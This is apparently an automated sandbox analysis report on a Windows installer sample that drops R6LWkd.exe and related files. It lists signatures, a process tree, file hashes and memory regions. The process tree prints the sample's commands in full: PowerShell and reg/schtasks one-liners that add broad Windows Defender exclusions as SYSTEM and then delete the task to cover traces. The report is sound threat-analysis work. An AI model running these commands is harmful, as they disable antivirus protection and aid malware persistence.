Analysis

  • max time kernel
    146s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 04:28

General

  • Target
    install.2.0.08.exe
  • Size 30.5MB
  • Sample261024-e35dcafx5y
  • SHA256 215c17875ae238dc66581773ef533b0b7110c62f1e88063957b7b3c18b06db85
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.08.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2968
  • C:\Users\Public\A38VSK\R6LWkd.exe
    "C:\Users\Public\A38VSK\R6LWkd.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:4296
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\A38VSK\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4684
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\A38VSK\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1044
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4116
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5796
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5804
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3336
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:784
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2924
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5736
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2320
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2600
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4580
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1672
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2232
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4060
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3144
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1968
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3784
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:716
                      • C:\Users\Public\A38VSK\R6LWkd.exe
                        "C:\Users\Public\A38VSK\R6LWkd.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:236
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\A38VSK" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:5088
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\A38VSK" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:1144
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4272
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:3480
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:2236
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:4024
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:5360
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:1116
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:4756
                                • C:\Windows\system32\cmd.exe
                                  "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  1⤵
                                  • Executes a command shell one-liner
                                  PID:6104
                                  • C:\Windows\System32\reg.exe
                                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                    2⤵
                                      PID:2172

                                  Network

                                        MITRE ATT&CK Enterprise v16

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                                        Downloads

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 1KB
                                        • SHA256 164ef2f06813f577119a7e8c22a59c59f72b023ab67f531a2c517e6f12236b47
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 1KB
                                        • SHA256 8d385c0931a5bafea01a056869b2d80bec56a60dfd585c6644c5ad5298764d80
                                        • MD5 SHA1 SHA512 TLSH

                                        0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                        • Size 512B
                                        • SHA256 2270f81423170887a90e300d757e16787bfd133ec9c46911f3a15d53942008b2
                                        • MD5 SHA1 SHA512 TLSH

                                        B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                        • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                        • Size 506B
                                        • SHA256 7002496d6302511146c76b89741d45b06300d74a0f0c556205498d10062a662a
                                        • MD5 SHA1 SHA512 TLSH

                                        __PSScriptPolicyTest_ujhscx0g.ti1.psm1

                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ujhscx0g.ti1.psm1
                                        • Size 60B
                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                        • MD5 SHA1 SHA512 TLSH

                                        R6LWkd.exe

                                        • Path C:\Users\Public\A38VSK\R6LWkd.exe
                                        • Size 135KB
                                        • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        UxEnhance64.dll

                                        • Path C:\Users\Public\A38VSK\UxEnhance64.dll
                                        • Size 3.1MB
                                        • SHA256 f6a41ff6bba3142d6d65d564bdca9c059a196e338f9a6a5f680a0a58fd112810
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        adoresd.dat

                                        • Path C:\Users\Public\A38VSK\adoresd.dat
                                        • Size 4.8MB
                                        • SHA256 fe57f6cfa292de3bf36bfde571b89a15e6452f29ce1979f1215d00210ebe6f7b
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        msadox.tb

                                        • Path C:\Users\Public\A38VSK\msadox.tb
                                        • Size 8KB
                                        • SHA256 a8b67939144c8eba884aec6284a5af60a36cfbdad77adc5830b3a8237caf94c9
                                        • MD5 SHA1 SHA512 SSDEEP TLSH

                                        memory/236-582-0x00007FFB125C0000-0x00007FFB125C2000-memory.dmp

                                        memory/236-589-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/236-577-0x00007FFAEF950000-0x00007FFAEFE6E000-memory.dmp

                                        memory/236-580-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/236-588-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/236-590-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/236-587-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/236-591-0x00007FFB125B0000-0x00007FFB125B2000-memory.dmp

                                        memory/236-583-0x000001F0F51A0000-0x000001F0F5A77000-memory.dmp

                                        memory/2968-524-0x0000000002720000-0x000000000272E000-memory.dmp

                                        memory/2968-0-0x0000000002720000-0x000000000272E000-memory.dmp

                                        memory/2968-525-0x00007FFB04E20000-0x00007FFB04E32000-memory.dmp

                                        memory/2968-504-0x00007FFB04E20000-0x00007FFB04E32000-memory.dmp

                                        memory/2968-2-0x0000000002730000-0x000000000273C000-memory.dmp

                                        memory/2968-1-0x0000000002720000-0x000000000272E000-memory.dmp

                                        memory/4268-536-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-544-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-564-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-566-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-567-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-558-0x0000024B4D9E0000-0x0000024B4DA2E000-memory.dmp

                                        memory/4268-559-0x0000024B4DE90000-0x0000024B4DF1A000-memory.dmp

                                        memory/4268-560-0x0000024B4DE90000-0x0000024B4DF1A000-memory.dmp

                                        memory/4268-561-0x0000024B4DE90000-0x0000024B4DF1A000-memory.dmp

                                        memory/4268-562-0x0000024B4DE90000-0x0000024B4DF1A000-memory.dmp

                                        memory/4268-550-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-556-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-546-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-545-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-543-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-538-0x00007FFB125C0000-0x00007FFB125C2000-memory.dmp

                                        memory/4268-539-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-531-0x00007FFAEF950000-0x00007FFAEFE6E000-memory.dmp

                                        memory/4268-606-0x0000024B4D060000-0x0000024B4D937000-memory.dmp

                                        memory/4268-530-0x00007FFB125B0000-0x00007FFB125B2000-memory.dmp

                                        memory/4296-605-0x0000027DC4E50000-0x0000027DC4F02000-memory.dmp

                                        memory/4296-604-0x0000027DC4E30000-0x0000027DC4E4E000-memory.dmp

                                        memory/4296-601-0x0000027DC4CB0000-0x0000027DC4CD2000-memory.dmp

                                        memory/4296-607-0x0000027DC4E20000-0x0000027DC4E2A000-memory.dmp